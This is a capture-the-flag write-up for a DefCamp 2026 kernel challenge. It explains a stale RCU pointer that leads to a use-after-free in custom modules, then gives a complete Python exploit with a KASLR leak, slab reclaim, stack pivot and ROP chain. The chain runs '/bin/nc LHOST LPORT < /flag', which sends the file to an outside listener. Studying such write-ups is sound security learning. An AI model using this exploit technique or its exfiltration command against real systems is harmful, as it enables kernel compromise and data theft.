NEPHILIM (DefCamp CTF 2026) — Stale RCU Reference in a Kernel Module
Three custom kernel modules behind a UDP protocol.
nkrcu_snap_create() publishes a descriptor pointer into a global array
after leaving its RCU read-side critical section, and nkrcu_remove() frees
that descriptor without clearing the array. A monitor workqueue calls
snap->desc->ops->validate(snap->desc) every five seconds — an
indirect call through a freed kmalloc-128 object.
Challenge setup
You get bzImage, an unstripped vmlinux, an initramfs and three kernel modules — nkrcu.ko, nkmon.ko, nknet.ko. Linux 6.1.184, x86-64, one vCPU. The flag is at /flag, mode 0400, owned by root.
The serial console drops to a nobody shell, but a player never reaches it — only TCP port 31337 is exposed.
The guest service is UDP, but the deployment platform does not open UDP NodePorts, so a small TCP front end bridges the two — proxy.py ships with the handout and reads the protocol's own plen to reframe the stream. Framing fields are network order, payload fields are native little-endian:
- Request:
u32 magic | u8 ver | u8 cmd | u16 seq | u16 plen | u16 cksum | data[plen] - Response: same header,
cmdandseqechoed
| Code | Name | Input | Returns |
|------|-------------|--------------|------------------------------|
| 0x01 | CMD_CREATE | u64 nonce | u64 desc_id, u64 desc_kaddr |
| 0x02 | CMD_REMOVE | u64 desc_id | int32 |
| 0x03 | CMD_SNAP | u64 desc_id | u64 snap_id |
| 0x04 | CMD_INFO | u64 desc_id | 40 raw bytes of the object |
| 0x05 | CMD_SPRAY_A | 128 bytes | u64 kaddr |
| 0x06 | CMD_SPRAY_F | u64 kaddr | int32 |
| 0x07 | CMD_SYNC | - | int32 |
CMD_CREATE returns the descriptor's kernel heap address and CMD_SPRAY_A returns the address of every allocation it makes. That looks generous until you notice there is no attacker process inside the VM — no mmap, no setxattr spray, no msg_msg, no pipe_buffer. Without those two return values the bug is effectively unexploitable.
Step 1 — reversing the three modules
704 lines of C across the three, each doing one job.
nkrcu.ko
The object store — descriptor allocator, an RCU-protected list, a snapshot array, a spray allocator, a synchronize_rcu() wrapper, and a read-only /proc/nephilim/layout that no remote command can reach.
struct nk_desc {
uint64_t id; /* +0 also the qword the pivot loads into rsp */
uint32_t state; /* +8 */
uint32_t flags; /* +12 */
struct nk_desc_ops *ops; /* +16 the vtable nkmon follows */
uint64_t kernel_fn; /* +24 &_printk */
uint64_t pivot_fn; /* +32 &nkrcu_pivot */
struct list_head list; /* +40 */
struct rcu_head rcu_head; /* +56 */
uint8_t data[56]; /* +72 */
}; /* = 128 bytes, kmalloc-128 */
Two fields exist to be leaked. The second points at a gadget the module exports on purpose:
/* stack-pivot gadget; intentionally exported; address leaks at runtime via CMD_INFO */
__attribute__((naked)) void nkrcu_pivot(void)
{
asm volatile(
"mov (%rdi), %rsp\n\t"
"ret\n\t"
);
}
Four bytes — 48 8b 27, c3. The byte sequence appears nowhere in this vmlinux, and neither do the other mov (%rXX),%rsp ; ret forms. pop %rsp ; ret and leave ; ret are both plentiful, but neither takes its new rsp from anywhere the attacker reaches — pop takes it off the kworker stack, leave out of rbp, which holds a module address at this call site. What is controlled there is rdi, and the branch target.
nkmon.ko
A timer re-arms every 5 * HZ and schedules work. The work function makes one indirect call per snapshot:
static void nk_mon_cb(struct nk_snap *snap, void *priv)
{
if (!snap->desc || !snap->desc->ops || !snap->desc->ops->validate)
return;
snap->desc->ops->validate(snap->desc);
}
Compiled, it is a tail jump with the descriptor already in rdi:
0: 48 8b 7f 08 mov 0x8(%rdi),%rdi ; snap->desc
4: 48 85 ff test %rdi,%rdi
7: 74 16 je 1f
9: 48 8b 47 10 mov 0x10(%rdi),%rax ; desc->ops
d: 48 85 c0 test %rax,%rax
10: 74 0d je 1f
12: 48 8b 00 mov (%rax),%rax ; ops->validate
15: 48 85 c0 test %rax,%rax
18: 74 05 je 1f
1a: e9 ... jmp __x86_indirect_thunk_rax
Two of those checks are everything the fake object has to satisfy — a non-NULL ops and a non-NULL ops->validate. The third is fixed by construction.
One comment carries more weight than it looks:
/* workqueue context; validate callback may sleep */
Process context is what makes call_usermodehelper(..., UMH_WAIT_PROC) legal at the end of the chain — from a timer softirq it would not be.
nknet.ko
A kthread blocked in kernel_recvmsg() on a kernel UDP socket. One thread, so commands are serialized and there is no command-level race. Input validation is three checks:
if (len < (int)sizeof(*h))
return;
if (ntohl(h->magic) != NK_MAGIC || h->ver != 0x01)
return;
plen = ntohs(h->plen);
seq = ntohs(h->seq);
if ((int)(sizeof(*h) + plen) > len)
return;
The checksum is computed on responses but never verified on input — so nobody notices it is decorative. The exploit below fills it in anyway, which costs nothing and keeps a capture readable.
Step 2 — the stale RCU reference
An RCU read-side critical section makes one promise — an object reachable when you entered will not be freed before you leave. The guarantee covers the pointer's use, not its storage.
nkrcu_snap_create() uses the section correctly to find the descriptor, then carries the pointer out of it:
rcu_read_lock();
desc = nk_find_desc_rcu(desc_id);
if (!desc) {
rcu_read_unlock();
return -ENOENT;
}
rcu_read_unlock(); /* critical section ends here */
spin_lock_bh(&nk_snap_lock);
...
nk_snaps[slot].snap_id = atomic64_fetch_add(1, &nk_snap_counter);
nk_snaps[slot].desc = desc; /* pointer published after unlock */
The instant rcu_read_unlock() runs, the thread stops being a reader and RCU stops protecting anything. What lands in nk_snaps[] is a bare address — no refcount_inc, no kref, no SLAB_TYPESAFE_BY_RCU.
Removal then does textbook two-phase teardown:
list_del_rcu(&desc->list);
spin_unlock(&nk_list_lock);
call_rcu(&desc->rcu_head, nk_desc_free_rcu); /* kfree after the grace period */
Unlink so no new reader finds it, defer the free so no existing reader trips over it. That protocol is sound only when the list is the sole path to the object — and it is not. nk_snaps[] is a second reference container, and removal never walks it.
After one grace period the object returns to the kmalloc-128 freelist while nk_snaps[i].desc still holds its address. There is no command to delete a snapshot, and the array is zeroed only in module init. The dangling pointer is permanent, and nkmon dereferences it every five seconds.
snap_create bug, the snapshot cache leaks an RCU pointer past the critical section. Read as a remove bug, the object has two owners and teardown handles one. Both readings imply different patches — a refcount, or an nk_snaps[] sweep.
The sweep alone is not enough. nkrcu_snap_iter() copies the array under the spinlock and runs the callback outside it, by design, so the monitor can sleep:
spin_lock_bh(&nk_snap_lock);
for (i = 0; i < NK_MAX_SNAPS; i++) {
if (nk_snaps[i].snap_id)
local[n++] = nk_snaps[i];
}
spin_unlock_bh(&nk_snap_lock);
for (i = 0; i < n; i++)
cb(&local[i], priv);
A removal landing between the copy and the callback still yields a use-after-free on the stack-local copy. The sound fix takes a reference during the copy.
Step 3 — KASLR leak and reclaim
CMD_INFO returns the first 40 bytes of the object verbatim, which carries both leaks:
resp = send_cmd(CMD_INFO, p64(desc_id))
kernel_fn = u64(resp, 24) # &_printk
pivot_fn = u64(resp, 32) # &nkrcu_pivot
kernel_base = kernel_fn - PRINTK_OFF
One read yields two independently randomized bases and three useful pointers — kernel _text, and the module region through both pivot_fn and ops. Module base is randomized separately from _text, so pivot_fn has to be leaked, not computed.
CMD_SPRAY_A allocates 128 bytes with GFP_ATOMIC and copies 128 attacker bytes in — the same kmalloc-128 cache as struct nk_desc. Neither allocation carries __GFP_ACCOUNT, and CONFIG_MEMCG is off in this build, so there is no kmalloc-cg-128 for either one to drift into.
The ROP payload is self-referential: argv points at rop_kaddr + 80, and the argv[] entries live in the same buffer. But CMD_SPRAY_A copies the content before it reveals the address. The way out is a probe — allocate zeroes to learn an address, free it, re-allocate with content written for that address:
for attempt in range(1, 32):
resp = send_cmd(CMD_SPRAY_A, b"\x00" * 128)
candidate = u64(resp)
send_cmd(CMD_SPRAY_F, p64(candidate))
resp = send_cmd(CMD_SPRAY_A, build_rop_data(str_kaddr, candidate, kernel_base))
rop_kaddr = u64(resp)
if rop_kaddr == candidate:
return str_kaddr, rop_kaddr
send_cmd(CMD_SPRAY_F, p64(rop_kaddr)) # miss: free and go again
Under SLUB's per-CPU LIFO freelist the object comes straight back — provided it belonged to the slab the CPU is currently allocating from. If it did not, kfree() puts it on that slab's own freelist and the next kmalloc(128) hands back a different address.
That is what the loop absorbs. Real competition is negligible here: the guest is an idle busybox initramfs on one vCPU, and the skb path itself stays out of kmalloc-128 — struct sk_buff comes from the unmergeable skbuff_head_cache, and any __alloc_skb head carries a 320-byte skb_shared_info, so no head lands below kmalloc-512.
The comments in the script below blame Docker and netfilter for the same thing. They are wrong twice over — the guest has netfilter compiled out, and host-side activity cannot reach the guest's freelists at all. The retry loops they justify are still worth keeping, because slab placement is what they actually absorb, and in practice both sprays land on the first attempt.
Triggering the free is three commands in a fixed order:
send_cmd(CMD_SNAP, p64(desc_id)) # nk_snaps[0].desc = desc_kaddr
send_cmd(CMD_REMOVE, p64(desc_id)) # list_del_rcu + call_rcu
send_cmd(CMD_SYNC) # synchronize_rcu()
CMD_SNAP has to come first — after removal nk_find_desc_rcu cannot find the id and the snapshot returns -ENOENT.
CMD_SYNC exists because call_rcu() is asynchronous and the network gives no way to observe the callback. Spraying early allocates the fake object before the slot is freed, and later sprays then miss it in confusing ways.
synchronize_rcu() makes the grace period observable — the 4-byte reply acknowledges that the free happened. With -smp 1 both callbacks sit on CPU 0's single list and run in FIFO order.
Step 4 — the exploit
The fake descriptor is one 128-byte write serving three roles at once:
struct.pack_into("<Q", data, 0x00, rop_kaddr) # new rsp on pivot
struct.pack_into("<Q", data, 0x10, desc_kaddr + 0x48) # ops* -> fake_ops
struct.pack_into("<Q", data, 0x48, GADGET_PIVOT) # validate = nkrcu_pivot
ops points back into the object at +0x48, which is inside data[] — so the buffer is the fake descriptor, the fake vtable and the pivot operand simultaneously.
Within five seconds the monitor fires:
rdi = snap->desc = desc_kaddr
rax = [desc_kaddr + 0x10] = desc_kaddr + 0x48 ; fake ops
rax = [desc_kaddr + 0x48] = nkrcu_pivot ; fake validate
jmp __x86_indirect_thunk_rax ; rdi still = desc_kaddr
nkrcu_pivot: mov (%rdi),%rsp ; rsp = rop_kaddr
ret ; first ROP entry
The tail jump means no argument shuffling. The pivot replaces rsp wholesale, abandoning the kworker stack.
What it lands on is a 128-byte slab object. call_usermodehelper then blocks in UMH_WAIT_PROC for the lifetime of nc, with its frames growing down past rop_kaddr into whatever neighbours it.
The argv[] array is built inside the ROP object at rop_kaddr+80, above the rsp the chain leaves behind, so descending frames cannot reach it whatever the freelist does.
The strings it points at are a separate object, and that one is placed wherever the allocator felt like. Here it came back 0x80 above the ROP object, so it sits above rsp too. The frames descend onto unrelated objects that nothing in an idle guest reads.
Had the spray gone the other way, the kworker would have smashed the argv strings before exec reached them. call_usermodehelper stores path and argv as pointers in struct subprocess_info, and the bytes are not copied until the forked helper reaches kernel_execve and runs copy_strings_kernel. Three stacks are involved by then: the pivoted kworker queues the work and parks in wait_for_completion, an events_unbound worker forks the child, and the child execs. The bytes have to stay intact until that copy. A run that needs several attempts also leaves freed kmalloc-128 objects in exactly that region.
#!/usr/bin/env python3
# NEPHILIM | DefCamp CTF 2026 | Kernel pwn | Insane
#
# Bug: nkrcu_remove() calls list_del_rcu()+call_rcu() but never clears nk_snaps[].desc.
# After the RCU grace period, snap->desc is dangling. nkmon fires every 5s and calls
# snap->desc->ops->validate(snap->desc) -- UAF trigger.
#
# Chain:
# [1] CMD_CREATE -> desc_id, desc_kaddr
# [2] CMD_INFO -> kernel_fn (+24) -> kernel_base; pivot_fn (+32) -> GADGET_PIVOT
# [3] CMD_SPRAY_A -> str_kaddr (path + argv strings)
# [4] probe-free-retry loop: SPRAY_A(zeroes)->cand; SPRAY_F(cand); SPRAY_A(rop@cand)->rop_kaddr
# [5] CMD_SNAP + CMD_REMOVE + CMD_SYNC -> desc_kaddr freed, snap->desc dangling
# [6] CMD_SPRAY_A(fake_desc) -> lands at desc_kaddr
# fake_desc[+0x00] = rop_kaddr (pivot: mov rsp,[rdi]; ret)
# fake_desc[+0x10] = desc_kaddr+0x48 (ops*)
# fake_desc[+0x48] = pivot_fn (validate = nkrcu_pivot)
# [7] nkmon workqueue fires:
# validate(rdi=desc_kaddr) -> pivot -> ROP -> call_usermodehelper
# /bin/sh -c "/bin/nc LHOST LPORT < /flag"
#
# Constants (nm vmlinux + ROPgadget --binary vmlinux):
# TEXT=$(nm vmlinux | grep ' T _text$' | awk '{print $1}')
# PRTK=$(nm vmlinux | grep ' T _printk$' | awk '{print $1}')
# UMH=$(nm vmlinux | grep ' T call_usermodehelper$' | awk '{print $1}')
# python3 -c "print(hex(int('$PRTK',16)-int('$TEXT',16)))"
# python3 -c "print(hex(int('$UMH',16)-int('$TEXT',16)))"
# ROPgadget --binary vmlinux | grep 'pop rdi ; ret'
# ROPgadget --binary vmlinux | grep 'pop rsi ; ret'
# ROPgadget --binary vmlinux | grep 'pop rdx ; ret' # xor rdx,rdx absent
# ROPgadget --binary vmlinux | grep 'pop rcx ; ret'
# GADGET_PIVOT: leaked at runtime from nk_desc[+32] via CMD_INFO (nkrcu_pivot export)
import sys
import struct
import socket
import time
TARGET_IP = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
TARGET_PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 31337
# LHOST must be reachable from inside the VM; use 10.0.2.2 for local QEMU SLIRP
LHOST = sys.argv[3] if len(sys.argv) > 3 else "10.0.2.2"
LPORT = int(sys.argv[4]) if len(sys.argv) > 4 else 4444
PRINTK_OFF = 0x0095c929
OFF_CALL_USERMODEHELPER = 0x00090980
GADGET_PIVOT = 0x0000 # set at runtime from CMD_INFO pivot_fn field
GADGET_POP_RDI = 0x005d1a7b
GADGET_POP_RSI = 0x00020f02
GADGET_POP_RDX = 0x0000ac12 # pop rdx; ret (xor rdx,rdx does not exist here)
GADGET_POP_RCX = 0x0071f3c3
MAGIC = 0x4E4B5450
CMD_CREATE = 0x01
CMD_REMOVE = 0x02
CMD_SNAP = 0x03
CMD_INFO = 0x04
CMD_SPRAY_A = 0x05
CMD_SPRAY_F = 0x06
CMD_SYNC = 0x07
_seq = 0
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(30)
sock.connect((TARGET_IP, TARGET_PORT))
def cksum(data: bytes) -> int:
v = 0xDEAD
for b in data:
v ^= b
return v & 0xFFFF
def recv_response() -> bytes:
hdr = b''
while len(hdr) < 12:
hdr += sock.recv(12 - len(hdr))
plen = struct.unpack_from('>H', hdr, 8)[0]
pay = b''
while len(pay) < plen:
pay += sock.recv(plen - len(pay))
return hdr + pay
def send_cmd(cmd: int, payload: bytes = b"") -> bytes:
global _seq
_seq = (_seq + 1) & 0xFFFF
hdr = struct.pack(">IBBHHH", MAGIC, 0x01, cmd, _seq, len(payload), 0)
frame = hdr + payload
cs = cksum(frame)
frame = frame[:10] + struct.pack(">H", cs) + frame[12:]
sock.sendall(frame)
return recv_response()[12:]
def u64(b, off=0): return struct.unpack_from("<Q", b, off)[0]
def i32(b, off=0): return struct.unpack_from("<i", b, off)[0]
def p64(v): return struct.pack("<Q", v)
def build_str_data(lhost: str, lport: int) -> bytes:
# +0 "/bin/sh\0" +8 "-c\0..." +16 "/bin/nc LHOST LPORT < /flag\0"
cmd_b = (f"/bin/nc {lhost} {lport} < /flag").encode()[:103] + b"\x00"
data = bytearray(128)
data[0:8] = b"/bin/sh\x00"
data[8:16] = b"-c\x00\x00\x00\x00\x00\x00"
data[16:120] = cmd_b.ljust(104, b"\x00")
assert len(data) == 128
return bytes(data)
def build_rop_data(str_kaddr: int, rop_kaddr: int, kernel_base: int) -> bytes:
# ROP chain at +0; argv[] at +80
# call_usermodehelper(str+0, rop+80, 0, UMH_WAIT_PROC=2)
umh = kernel_base + OFF_CALL_USERMODEHELPER
pop_rdi = kernel_base + GADGET_POP_RDI
pop_rsi = kernel_base + GADGET_POP_RSI
pop_rdx = kernel_base + GADGET_POP_RDX
pop_rcx = kernel_base + GADGET_POP_RCX
data = bytearray(128)
struct.pack_into("<Q", data, 0, pop_rdi)
struct.pack_into("<Q", data, 8, str_kaddr) # path = "/bin/sh"
struct.pack_into("<Q", data, 16, pop_rsi)
struct.pack_into("<Q", data, 24, rop_kaddr + 80) # argv
struct.pack_into("<Q", data, 32, pop_rdx)
struct.pack_into("<Q", data, 40, 0) # envp = NULL
struct.pack_into("<Q", data, 48, pop_rcx)
struct.pack_into("<Q", data, 56, 2) # UMH_WAIT_PROC
struct.pack_into("<Q", data, 64, umh)
# +72: 0 -- after UMH returns, ret reads 0 -> #PF -> panic (flag already received)
struct.pack_into("<Q", data, 80, str_kaddr) # argv[0]
struct.pack_into("<Q", data, 88, str_kaddr + 8) # argv[1]
struct.pack_into("<Q", data, 96, str_kaddr + 16) # argv[2]
struct.pack_into("<Q", data,104, 0) # argv[3] = NULL
assert len(data) == 128
return bytes(data)
def build_fake_desc(desc_kaddr: int, rop_kaddr: int, kernel_base: int) -> bytes:
# nk_desc: ops* at +0x10, data[] at +0x48 (embed fake_ops there)
# nkrcu_pivot: mov rsp,[rdi]; ret -- reads [desc_kaddr+0] = rop_kaddr
data = bytearray(128)
struct.pack_into("<Q", data, 0x00, rop_kaddr) # new rsp on pivot
struct.pack_into("<Q", data, 0x10, desc_kaddr + 0x48) # ops* -> fake_ops
struct.pack_into("<Q", data, 0x48, GADGET_PIVOT) # validate = nkrcu_pivot
assert len(data) == 128
return bytes(data)
def stage1_leak():
global GADGET_PIVOT
print("[1] KASLR bypass")
resp = send_cmd(CMD_CREATE, p64(0xCAFEBABEDEADBEEF))
desc_id = u64(resp, 0)
desc_kaddr = u64(resp, 8)
print(f" desc_id = {desc_id:#018x}")
print(f" desc_kaddr = {desc_kaddr:#018x}")
resp = send_cmd(CMD_INFO, p64(desc_id))
kernel_fn = u64(resp, 24) # &_printk
pivot_fn = u64(resp, 32) # &nkrcu_pivot
print(f" kernel_fn = {kernel_fn:#018x} (&_printk)")
print(f" pivot_fn = {pivot_fn:#018x} (nkrcu_pivot)")
kernel_base = kernel_fn - PRINTK_OFF
GADGET_PIVOT = pivot_fn
print(f" kernel_base = {kernel_base:#018x}")
return desc_id, desc_kaddr, kernel_base
def stage2_spray(kernel_base: int):
print("[2] Pre-spray strings + ROP (desc alive)")
resp = send_cmd(CMD_SPRAY_A, build_str_data(LHOST, LPORT))
str_kaddr = u64(resp)
print(f" str_kaddr = {str_kaddr:#018x}")
# Probe-free-retry: allocate zeroes to learn a candidate address, free it,
# then immediately reallocate with correct ROP data (argv pointers use candidate).
# If Docker background activity consumes the freed slot before we reclaim it,
# the new allocation lands elsewhere -- free it and retry with the new address.
# Direction-agnostic: works regardless of SLUB freelist order (host vs Docker).
for attempt in range(1, 32):
resp = send_cmd(CMD_SPRAY_A, b"\x00" * 128)
candidate = u64(resp)
send_cmd(CMD_SPRAY_F, p64(candidate))
resp = send_cmd(CMD_SPRAY_A, build_rop_data(str_kaddr, candidate, kernel_base))
rop_kaddr = u64(resp)
if rop_kaddr == candidate:
print(f" rop_kaddr = {rop_kaddr:#018x} (attempt {attempt})")
return str_kaddr, rop_kaddr
send_cmd(CMD_SPRAY_F, p64(rop_kaddr))
print(" [-] stage2 FAILED after 31 attempts")
sys.exit(1)
def stage3_uaf(desc_id: int):
print("[3] UAF: SNAP + REMOVE + SYNC")
resp = send_cmd(CMD_SNAP, p64(desc_id))
print(f" snap_id = {u64(resp):#018x} (snap->desc = desc_kaddr)")
assert i32(send_cmd(CMD_REMOVE, p64(desc_id))) == 0
print(" REMOVE ok -- call_rcu() scheduled")
print(" SYNC: waiting for RCU grace period...")
assert i32(send_cmd(CMD_SYNC)) == 0
print(" done -- desc_kaddr FREED, snap->desc DANGLING")
def stage4_spray_fake(desc_kaddr: int, rop_kaddr: int, kernel_base: int):
print("[4] Spray fake_desc into freed slot")
# After SYNC, desc_kaddr is freed and may sit in the SLUB per-CPU freelist
# or in a slab partial-list depending on environment (host vs Docker).
# Strategy: spray fake_desc repeatedly WITHOUT freeing misses.
# Keeping misses allocated drains the per-CPU freelist and forces SLUB to
# pull from partial slabs, which is where desc_kaddr lives if background
# activity (Docker cgroups / netfilter) already consumed the top freelist slot.
# NK_MAX_SPRAY=64; with str+rop (2 slots) we have 62 slots for misses+landing.
fake = build_fake_desc(desc_kaddr, rop_kaddr, kernel_base)
misses = []
for attempt in range(1, 56):
resp = send_cmd(CMD_SPRAY_A, fake)
got = u64(resp)
if got == desc_kaddr:
print(f" [+] LANDED at {got:#018x} (attempt {attempt})")
for addr in misses:
send_cmd(CMD_SPRAY_F, p64(addr))
return
misses.append(got)
print(f" [-] FAILED after 55 attempts -- desc_kaddr={desc_kaddr:#018x}")
sys.exit(1)
def stage5_wait():
print("[5] Waiting for nkmon trigger (<=5s)")
print()
print(" nkmon workqueue:")
print(" snap->desc->ops->validate(desc_kaddr)")
print(" = nkrcu_pivot(rdi=desc_kaddr)")
print(" mov rsp,[rdi] -> rsp = rop_kaddr")
print(" call_usermodehelper('/bin/sh',['-c','/bin/nc LHOST LPORT < /flag'],NULL,2)")
print(" UMH_WAIT_PROC blocks until nc exits")
time.sleep(6)
print("[+] done -- flag should be in your listener")
def main():
print(f"NEPHILIM | {TARGET_IP}:{TARGET_PORT} -> {LHOST}:{LPORT}")
print()
print(f"[!] start listener: nc -lvp {LPORT}")
input(" ENTER when ready... ")
print()
desc_id, desc_kaddr, kernel_base = stage1_leak()
print()
str_kaddr, rop_kaddr = stage2_spray(kernel_base)
print()
stage3_uaf(desc_id)
print()
stage4_spray_fake(desc_kaddr, rop_kaddr, kernel_base)
print()
stage5_wait()
if __name__ == "__main__":
main()
run.sh in the handout boots the same image locally and starts proxy.py beside it. The guest takes about four seconds to bring the e1000 link up, and the first stage has no socket timeout, so connecting before that hangs rather than fails.
The last two arguments are the listener, and its address has to be one the guest can reach — 10.0.2.2 for the handout under SLIRP, the bridge address for a container, a routable one for the real instance. Get it wrong and the chain still fires: the guest blocks on a connection going nowhere, the box panics, and the script still reports success with nothing on the listener. This run was against a container:
python3 exploit.py 127.0.0.1 31337 172.17.0.1 4444
Expected output:
NEPHILIM | 127.0.0.1:31337 -> 172.17.0.1:4444
[!] start listener: nc -lvp 4444
ENTER when ready...
[1] KASLR bypass
desc_id = 0x0000000000000001
desc_kaddr = 0xffffa00a41b6f400
kernel_fn = 0xffffffffaeb5c929 (&_printk)
pivot_fn = 0xffffffffc00d4020 (nkrcu_pivot)
kernel_base = 0xffffffffae200000
[2] Pre-spray strings + ROP (desc alive)
str_kaddr = 0xffffa00a41b6f380
rop_kaddr = 0xffffa00a41b6f300 (attempt 1)
[3] UAF: SNAP + REMOVE + SYNC
snap_id = 0x0000000000000001 (snap->desc = desc_kaddr)
REMOVE ok -- call_rcu() scheduled
SYNC: waiting for RCU grace period...
done -- desc_kaddr FREED, snap->desc DANGLING
[4] Spray fake_desc into freed slot
[+] LANDED at 0xffffa00a41b6f400 (attempt 1)
[5] Waiting for nkmon trigger (<=5s)
nkmon workqueue:
snap->desc->ops->validate(desc_kaddr)
= nkrcu_pivot(rdi=desc_kaddr)
mov rsp,[rdi] -> rsp = rop_kaddr
call_usermodehelper('/bin/sh',['-c','/bin/nc LHOST LPORT < /flag'],NULL,2)
UMH_WAIT_PROC blocks until nc exits
[+] done -- flag should be in your listener
The exploit never sees the flag — it arrives on the listener:
Connection received on 172.17.0.2 47352
CTF{<64 hex chars>}
Then call_usermodehelper returns, the final ret loads zero from rop_kaddr+72, and the kworker faults at address zero. The guest boots with oops=panic panic=-1, so that oops takes the box down. Excerpted from an earlier boot, against an earlier kernel build than the one shipped, so the addresses differ from the run above:
[ 19.591444] BUG: kernel NULL pointer dereference, address: 0000000000000000
[ 19.591459] #PF: supervisor instruction fetch in kernel mode
[ 19.591459] CPU: 0 PID: 40 Comm: kworker/0:2 Tainted: G O 6.1.184 #1
[ 19.591459] Workqueue: events nk_mon_work_fn [nkmon]
[ 19.591459] RIP: 0010:0x0
[ 19.591459] RSP: 0018:ffff9ef541f6f350 EFLAGS: 00000296
[ 19.591459] RAX: 0000000000000000 RBX: ffffad17801a7dd0 RCX: 0000000000000000
[ 19.591459] R13: ffffad17801a7dd0 R14: 0000000000000000 R15: ffff9ef57ec2d605
[ 19.591459] Call Trace:
[ 19.591459] Modules linked in: nknet(O) nkmon(O) nkrcu(O)
RSP is a direct-map heap address while RBX is the kworker stack holding local[], vmalloc'd because the build sets CONFIG_VMAP_STACK — the stack was pivoted onto the heap. The call trace is empty because the unwinder has nothing left to walk. Panicking on success is deliberate: a solved instance dies instead of lingering as a rooted box.
Reading the flag without a listener
The intended exfiltration needs the VM to reach the player, which means a routable address — a VPS or a tunnel, not a NAT'd home IP. A team without one has kernel code execution and no way out.
One team went through CMD_INFO instead. The read primitive is rigid:
int nkrcu_info(uint64_t desc_id, uint8_t *out, size_t out_len)
{
struct nk_desc *desc;
if (out_len < 40)
return -EINVAL;
rcu_read_lock();
desc = nk_find_desc_rcu(desc_id);
...
memcpy(out, desc, 40);
There is no offset parameter on that path. Not on the wire — the payload is consumed as one 8-byte id, and trailing bytes are ignored.
Not in the API either. out_len is a destination capacity used as a lower bound, hardcoded to 40 by the caller. The memcpy length is the literal 40, and the source offset is always zero.
Only the first 8 bytes are load-bearing: nk_find_desc_rcu matches on id and nothing else. state and flags are written once at creation and never read again by any of the three modules, so they can carry payload too. That leaves 32 bytes per call at best, 24 if a solver treats the whole header as off limits. The flag is 69 characters, so either way it takes three reads.
That also rules out the chain used above, which ends in a deliberate panic. Paging needs a chain that returns cleanly, so nkmon keeps firing every five seconds and the slot can be re-sprayed between ticks.
During the CTF this surfaced as a team reporting a wrong flag. What they had was CTF{ plus 20 hex characters — a correct prefix, truncated at the read boundary, with nothing in the reply to say so.
Two constraints fall out of the code. The read target has to be a descriptor linked into nk_list, because nk_find_desc_rcu is the only lookup any command has — spray buffers are not in that list. And writing flag ASCII over +16 destroys ops, so the read target must not be the snapshotted descriptor.